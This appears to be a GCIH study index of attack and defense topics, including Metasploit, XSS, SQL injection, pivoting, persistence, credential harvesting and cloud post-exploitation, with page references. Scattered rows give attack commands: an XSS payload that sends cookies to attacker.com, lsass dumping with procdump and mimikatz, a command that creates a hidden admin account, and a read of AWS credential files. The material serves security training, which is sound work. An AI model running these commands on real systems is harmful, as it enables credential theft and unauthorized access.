| The Metasploit Framework | * A flexible collection of tools to attack, exploit, and harvest data from targets, other commercial frameworks also available. * Regular updates followed with an entire community of developers continuously working on new modules. * Runs on Windows, Linux, BSD, and macOS. * A modular tool tying together: * Exploit, payload, and targeting (destination IP address, port, options) * Exploit and payload development packages. * Other computer attacks, including scanning and evasion tactics. | 4 | 5 |
| The Metasploit Arsenal | Metasploit supplies 4 main categories of modules:   * Exploit: takes advantage of a flaw in a target program. * Auxiliary modules: perform all kinds of tasks, including scanning. * Payload: makes the target do something the attacker wants. * Post module: is used in post exploitation to plunder or manipulate targets. | 4 | 6 |
| Metasploit User Interfaces | Console, command line, web, or GUI interface.   1. Select exploit  * Some exploits include functions to check if the target is vulnerable. * Others just exploit.  1. Set target (IP address and port) 2. Select payload.  * If a particular exploit has no payload, attacker can set a command to execute.  1. Set options to launch. | 4 | 7 |
| Exploits Currently Included Metasploit Framework | Many of the exploits take advantage of memory management vulnerabilities such as a buffer overflows, heap overflows, and related attacks. Other exploits manipulate features or backdoors to gain remote code execution on a target.   * New exploits released on a regular basis, for a total of over 2000 exploits. * Windows services (built-in and third-party program) * Windows client software (Firefox, Adobe Reader, Java, iTunes, QuickTime, 7-Zip, WinZip, and more) * UNIX services (Apache, Nginx, SSH, printing and more) * Mobile devices (Android, iOS) | 4 | 8 |
| Payloads Included in Metasploit Framework | * Metasploit offers many different payload options to meet different needs: * Bind shell to arbitrary port or delivery reverse TCP shell to attacker. * Gain remote GUI access on windows through a VNC server DLL inject * Create local users, download, and run executables, inject DLLs into a process. * Meterpreter is a general-purpose payload for interactive, flexible access. * Full command & control (C&C) framework. * New processes execute within the Meterpreter process. * Can live completely in memory without writing to disk if desired. * Brings its own collection of post-exploitation data harvesting tools. * Can load new modules and migrate to the memory of different system process. | 4 | 9 |
| Meterpreter Features | * Displays system-related information (OS, user ID, and more) * Interact with the file system * Cd, ls, upload, download, and so on. * Interact with the network. * Execute: Run a process. * Kill: terminate one or more processes (multiple) * Ps: List processes. * Meterpreter communications utilize TLS. * Encrypts them which makes them more difficult to detect. | 4 | 10 |
| Attack Framework Defense: Preparation | * Keep your systems patched. * A robust patching process involves rapidly obtaining, testing, applying patches. * Utilize windows exploit protection or EDR tools * Blocking certain calls into the kernel from certain applications. * Offering additional memory protection. * Deploy application allow list software. * Deploy SELinux-enabled version of Linux platforms. * Deploy and configure AppArmor for Linux | 4 | 11 |
| Additional Defenses: Preparation | * Strictly control outgoing traffic. * Many organizations just worry about incoming traffic. * You must carefully filter both directions. * Utilize proxies for outbound traffic. * Conduct threat hunting analysis. * Check for long URLs * Check for DNS entries that are on known offenders list. * Check for beacon connections. * Check for odd services and .exes | 4 | 12 |
| Rita | Finding bad things on your network using free and open-source tools.  A great webcast on threat hunting with field stories of threats detected with RITA by john strand. | 4 | 12 |
| Visual Summary: Metasploit Framework |  | 4 | 13 |
| Drive-By Attacks | Attacking systems through normal web browsing activity   * Attacker delivers an attack or exploit through a seemingly innocuous website. * Compromise a legitimate website, add malicious content. * Deliver malicious content through legitimate ad networks. * Phishing attacks with typo-squatted domain names. * Commonly known as client-side attack, exploiting weaknesses on the client platform. | 4 | 16 |
| Drive-By Attack Operation | 1. Attacker identifies and exploits a legitimate website. 2. Attacker adds code and exploit to compromised website 3. Victim browses to compromised websites 4. Attacker code evaluates victim to identify browser type, plugins installed, etc. Attacker delivers exploit to victim. 5. Victim connects back to attacker, granting remote access. | 4 | 17 |
| The Problem with Browsers | * Image file parsers: JPG, TIFF, PNG, GIF, BMP, SVG, WebP, XMB, etc. * Font File parsers: TTF, OTF, EOT, SVG, WOFF, WOFF2, etc. * Native and third-party browser plugins. * MIME handlers for third-party apps: PDF, DOCX, RAR, etc. * HTML5 features including WebM video audio content. | 4 | 18 |
| Watering Hole Attacks | * Target a specific vertical industry or organization (company, government, political party, etc) * For example, control.com, a forum for ICS discussions, might be targeted to gain access to ICS administrator workstations. | 4 | 19 |
| Code-Executing Microsoft Office Files | * Execute code in a Microsoft Office file * Requires macro support file type * Will raise a security warning in Microsoft office apps.   Many users distrust macros in Office documents, though attackers will go to significant lengths to assuage their concerns. | 4 | 20 |
| Conventional Exploit Delivery | Attackers will leverage readily available exploits to compromiser browsers and supporting software, zero-day or otherwise. | 4 | 23 |
| Fake Installers | If the user already trusts the target site, they are much more likely to run downloads from that site.   * Attackers use watering hole attackers to trick users into installing fake software. * Replacing user-requested downloads with malicious content. | 4 | 24 |
| Browser Exploitation Framework (BeEF) | * Modular framework for browser exploitation. * Commonly used for XSS attacks. * Includes several social engineering attack vectors to impersonate UI elements that truck users into installing an update. | 4 | 25 |
| Building Payloads - Metasploit MsfVenom | * Metasploit’s MsfVenom takes any Metasploit and converts it into a standalone file. * Multiple file types are supported: EXE, Java JAR, PowerShell. * Multiple platforms are supported: Windows, Linux, Android. * Multiple obfuscation, encryption, and output format options. * Specify payload options on the command line. | 4 | 27 |
| Drive-By Attack Defense | * Defending against initial exploitation is hard, particularly for zero-day attacks. * Preparation: defend against common attacks with app allow lists, patch management practices. * Preparation: Monitor attack trends including new exploits seen in the wild that can affect your organization. * Threat intel feeds can help here, filtering noise from signal. * Log monitoring, user and entity behavior and analytics (EUBA) tools such as Logon Tracer. * *Why is Microsoft Word launching PowerShell?* | 4 | 30 |
| Visual Summary: Drive-By Attacks |  | 4 | 31 |
| Defense Spotlight: System Resource Usage Monitor Dum | * SRUM is the System Resource Usage Monitor. * Built-in to windows, part of the diagnostic policy service. * Maintains a 30-day history of system activity including programs executed, Wi-Fi networks, network use statistics, energy usage, and more. * Primarily a forensics resource for historical information.   The SRUM data in windows is automatically collected and a tremendously valuable resource for assessing system activity. | 4 | 34 |
| SRUM-Dump | * SRUM-Dump is a tool to extract windows system usage information from the SRUDB.dat file. * Tremendously useful for incident response analysis of a host. | 4 | 34 |
| SRUM Data Storage | * SRUM data is stored in:   C: \Windows\System32\SRU\SRUB.dat   * Stored as an Extensible Storage Engine (ESE) database. * Updated every hour and at a system shutdown. * Registry is used for writing temporary data before the hourly update. * Extract SRUDB to Excel Spreadsheet with SRUM-Dump * Extracts data from a live system or a forensic image. * Obtains current information from the HKLM Registry hive. | 4 | 35 |
| SRUM-Data Extraction | 1. Run srum\_dump2.exe as an Administrator. Click browse, then navigate to C:\Windows\System32\SRU\SRUDB.dat 2. Click Auto Extract to perform live system data acquisition. | 4 | 36 |
| SRUM-Dump Auto Extract | SRUM-Dump will automatically extract the SRUDB.dat file and the SOFTWARE registry hive to a temporary directory.  Click OK to extract SRUM data, writing output to SRUM\_DUMP\_OUTPUT.xlsx. | 4 | 37 |
| Visual Summary: System Resource Usage Monitor |  | 4 | 40 |
| Command Injection | Some web applications take input from a user and process that input by invoking a shell to run a program.   * If the input is appended to a local command, attackers may be able to craft input that runs a second command of their choosing. * Input could come from the URL, form fields, cookies, etc. | 4 | 43 |
| Identifying Command Injection Vulnerabilities |  | 4 | 44 |
| More than a Web Vulnerability | * Command injection vulnerabilities affect any system that accepts user input. * Commonly identified in (Command Line Interphase) CLI-based consoles as well. | 4 | 47 |
| Command Injection Defenses | * Educated developers to be careful with user input. * Carefully inspect source code for any function that runs a local program. * Varies by language, but could be system, exec, shell\_exec, popen, proc\_open, passthru, pcmt;\_exec, and others. * Conduct vulnerability assessments and penetration tests regularly. * Web application firewalls can help mitigate over a short term while application vulnerabilities are resolved. * Look for unusual traffic outbound from web servers that may indicated compromise. * C2 connections, kit retrieval to unknown sources. | 4 | 48 |
| Visual Summary: Command Injection |  | 4 | 49 |
| Cross-site Scripting | * Cross-site scripting (XSS) is an attack against users. * Unlike command injection, which is an attack against the server. * XSS attacks exploit a vulnerability in the server input or output validation. * Allowing an attacker to choose content that is displayed to the user in the context of the trusted website. | 4 | 53 |
| Attack Opportunity | * Browsers will do what the servers tells them to do (within some constraints) * If the server tells the client to send their cookie to a remote server, they will do so. * XSS allows an attacker to send customer commands on behalf of the server to the victim. * Typically, in the form of JavaScript. But any HTML can be used effectively. | 4 | 54 |
| Stored Cross-site Scripting Attack | * In a store XSS attack, the attacker can upload and store malicious code on the server (in a database or other persistent data source) * Any victim that views the vulnerable page gets the malicious content. * Opportunistic attack; not specifically targeted. * High degree of success probability since the victim only needs to visit the vulnerable page. | 4 | 55 |
| Reflected Cross-site Scripting Attack | * In a reflected XSS attack, the attacker identifies a vulnerability in the URL parameters of a page (GET-based). * Attacker sends URL to victim with crafted parameters (email, messaging, malicious ads, etc.) * Vitim must visit link to be attacked. * Targeted attack. * Involves some social engineering effort to convince victim to click link. | 4 | 56 |
| Reflected XSS Phishing Link Example |  | 4 | 57 |
| What can an Attacker Do With XSS | * Implement password guessing against internal web apps. * Add a web browser keystroke logger. * Port scan internal servers * Capture microphone, camera * Steal credentials by creating a fake login prompt. * Take a screenshot of the browser page. * Redirect a form to the attacker. * Deploy a JavaScript cryptominer. * Retrieve authentication cookie: <script>document.location=’http://attacker.com/save.php?c=’+document.cookie</script> | 4 | 58 |
| Testing for XSS | * Identify a field where your content is redisplaed (such as a search box) * Test input fields manually using a HTML tag (such as <hr>) * Test form elements as well as GET parameters in the URL. * Look for unmodified output returned from the server where the input string below is preserved (using the View Source function) * Automated testing tools: ZAP Proxy, Arachni, Wapiti, Burp Suite (commercial), Acutenix (commercial). * Use this string on all input fields; identify what remains after filtering for XSS attacks ‘ ‘;!- - “<XSS>=&{()} | 4 | 59 |
| Cross-site Scripting Defense | * Filter from user input all characters that are meaningful in scripting languages: ‘’;!- - “<XSS>=&{()} * You must do this filtering on the server side. * Manual filtering is OK; third-party filtering libraries are better. * Microsoft Anti-Cross Site Scripting Library for .NET applications. * OWASP Java Encoder project for Java. * HTMLPurifier for PHP, Joi for Node.js. * Choose a web app framework that handles filtering for you. * ModSecurity for Apache, IIS, and Nginx include such filtering capabilities.   Even HTML-encoded data can be turned into an XSS attack in some cases. Leverage a third-party library consistently to encode and escape all content, input and output. | 4 | 60 |
| Cross-site Scripting Defense (2) | * Limit cookie accessibility with HTTPOnly flag. * Prevents cookie from being accessed in JavaScript. * Servers set a Content Security Policy. * Server declares which dynamic resource are permitted to load in the browser (JavaScript, CSS, Images, fonts, etc). * Browsers can report sanitized content to a specified URL if an attack is detected.   Internet explorer lacks content security policy support, leaving it at a security disadvantage over other modern browsers. | 4 | 60 |
| Visual Summary: Cross-site Scripting |  | 4 | 62 |
| Structured Query Language |  | 4 | 67 |
| Injecting SQL Content |  | 4 | 68 |
| SQL Union Statement |  | 4 | 70 |
| UNION Select Results |  | 4 | 71 |
| Sqlmap |  | 4 | 72 |
| Importan Sqlmap Notes |  | 4 | 73 |
| Sqlmap Enumeration |  | 4 | 74 |
| Cloud SQL Does Not Escape Vunerability |  | 4 | 76 |
| SQL Injection Testing Risk |  | 4 | 77 |
| SQL Injection Defenses |  | 4 | 78 |
| Visual Summary: SQL Injection |  | 4 | 79 |
| Cloud Spotlight: SSRF and IMDS |  | 4 | 83 |
| Exfiltrating Data from Cloud Targets |  | 4 | 89 |
| Instance Metadata Service (IMDS) Access |  | 4 | 90 |
| AWS IMDSv1 Credential Exfiltration |  | 4 | 91 |
| Cloud IMDS Access |  | 4 | 92 |
| SSRF and Cloud Target Access |  | 4 | 93 |
| Defending Against SSRF and IMDS Attacks |  | 4 | 94 |
| Visual Summary: SSRF and IMDS |  | 4 | 95 |
| Post-Exploitation Topics |  | 5 | 5 |
| Endpoint Security Bypass |  | 5 | 6 |
| DefenderCheck | **DefenderCheck.exe .\mimikatz.exe**  **Uses a high/low strategy, splitting the file into pieces and scanning repeatedly until the smallest data chunk is found that triggers a threat alert.** | 5 | 7 |
| Evation through Code wrapping and Obfuscation |  | 5 | 8 |
| Application Allow Lists |  | 5 | 9 |
| Living Off the Land (LOL) | Reuses tools and ultilities already permitted on the target system | 5 | 10 |
| Microsoft.NET InstallUtil | shellcode.exe  InstallUtil /U shellcode.exe | 5 | 11 |
| Endpoint Bypass: Defenses | -Current version EDR   * Allow list execution control with AppLocker or third party tools * Threat hunt for execution failures   UEBA logging and monitioring | 5 | 12 |
| Visual Summary: Endpoint Security Bypass |  | 5 | 13 |
| Pivoting and Lateral Movement |  | 5 | 17 |
| Meterpreter Pivoting | portfwd | 5 | 18 |
| Meterpreter ROUTE Pivoting | route add 10.10.10.10/34 1 set RHOST 10.10.10.100 exploit | 5 | 19 |
| Host Discovery and Post Scanning | run arp\_scanner -r 10.10.10.0/24  background  route add 10.10.10.0/24 1 use auxiliary/scanner/portscan/tcp set RHOSTS 10.10.10.1,11,100 set PORTS 22,25,80,135,445,631 run | 5 | 20 |
| LOL - SSH Port Forwarding | ssh -L 8000:10.10.10.100:80 victortimko@10.10.10.11 | 5 | 21 |
| LOL - Port Forwarding with netsh | netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=8000 connectaddress=10.10.10.100 connectport=80 netstat -nato | findstr:8000 | 5 | 22 |
| Pivoting for Lateral Movement |  | 5 | 23 |
| Visual Summary: Pivoting and Lateral Movement |  | 5 | 24 |
| Hijacking Attacks | LLMNR Link-Local Multicast Name Resolution Responder | 5 | 27 |
| Responder Starting |  | 5 | 28 |
| Responder Capture |  | 5 | 29 |
| Defenses | Disable LLMNR  Private VLANs  UEBA | 5 | 30 |
| Visual Summary: Hijacking Attacks |  | 5 | 31 |
| Establishing Persistence | Regain access/Avoid detection/Preserve privileges/Flexible in reestablishing access | 5 | 34 |
| Create Account | meterpreter> execute -f "net user /add assetmgtacct Att@ckerPssw" execute -f "net localgroup administrator /add assetmgtacct" execute -i -f "net user" | 5 | 35 |
| Services | **msf6> use exploit/windows/local/persistence\_service** | 5 | 36 |
| VMI Event Subscription | mofcomp vmi.mof  use exploit/windows/local/wmi\_persistence | 5 | 37 |
| Active Directory Persistence: Golden Ticket | "-Attacker compromises DC  -Retrieves krbtgt user password (root of trust) hash  -Forges Ticket Granting Ticket using hash (Mimikatz/Impacket)  -Authenticates to any Kerbero service"  -> Token (ticket or certificate) | 5 | 39 |
| Web Shells |  | 5 | 41 |
| Cloud Persistence | aws iam list-users  awis iam list-access-key --user-name jsmith aws iam create-access-key --user-name jsmith | 5 | 42 |
| Persistence Defense | Get-WMIObject -Namespace root\Subscription -Class\_EventFilter | fl -property query | 5 | 43 |
| Persistence - Takeaway |  | 5 | 44 |
| Visual Summary: Establishing Persistence |  | 5 | 45 |
| Defense Spotlight: RITA | Use statistical threat identification to analyze data over time for threat hunting, used for offline network activity assessment (reads from Zeek logging data). Works best with data over one or more days  No packet payload content analysis | 5 | 49 |
| Fundamentally Different Network Behavior |  | 5 | 50 |
| Beacon Analysis |  | 5 | 52 |
| Long Connections | rita show-long-connection -H mynetwork | head -15 | 5 | 53 |
| DNS Analysis | rita show-exploded-dns mynetwork | head -15 | 5 | 54 |
| RITA is a Threat Hunting Tool | config.yaml | 5 | 55 |
| Visual Summary: RITA |  | 5 | 56 |
| Data Collection and Exfiltration |  | 5 | 59 |
| Linux Password Harvesting |  | 5 | 60 |
| Sudo Privileges | sudo -l sudo gdb -q  shell id | 5 | 61 |
| Windows Passwords: Mimikatz | .\mimikatz.exe  .\procdump64.exe -accepteula -ma lsass.exe lsass.dmp | 5 | 62 |
| Password Managers and Clipboard Access |  | 5 | 64 |
| Data Collection Defenses | Limit and monitor network access  Network monitoring tool  Application allow list  SRUM data | 5 | 65 |
| Visual Summary: Data Collection |  | 5 | 66 |
| Cloud Spotlight: Cloud Post-Exploitation | cat .aws/credentials | 5 | 68 |
| Attacker Situation Report | aws sts get-caller-identity | 5 | 69 |
| Privilege Escalation Attacks |  | 5 | 70 |
| Pacu: AWS Interrogation and Attack Framework | Metasploit for AWS  ./cli.py  import\_keys jmerckle run iam\_enum\_permission run iam\_privesc\_scan | 5 | 71 |
| More Privilege, More Data | gcloud sql instance\_list | 5 | 72 |
| Microsoft 365 Compliance Search |  | 5 | 74 |
| Cloud Post-Exploitation Defenses |  | 5 | 75 |
| AWS: CloudMapper | cloudmapper.py prepare --config config.json --account acctname | 5 | 76 |
| ScoutSuite (AWS, GCP, Azure) |  | 5 | 77 |
| Cloud Logging |  | 5 | 78 |
| Visual Summary: Cloud Exploitation |  | 5 | 79 |
| Where To Go From Here |  | 5 | 82 |
| The Forgetting Curve |  | 5 | 83 |
| Spaced Repetition |  | 5 | 84 |
| Optimizing Review Intervals |  | 5 | 85 |
| Anki |  | 5 | 86 |
| Retention vs Certification |  | 5 | 87 |
| Certification: Use the Practice Exam Wisely |  | 5 | 88 |
| GCIH Practical Exam: CyberLive |  | 5 | 89 |
| Taking the Test |  | 5 | 90 |
| Why Do We Care |  | 5 | 91 |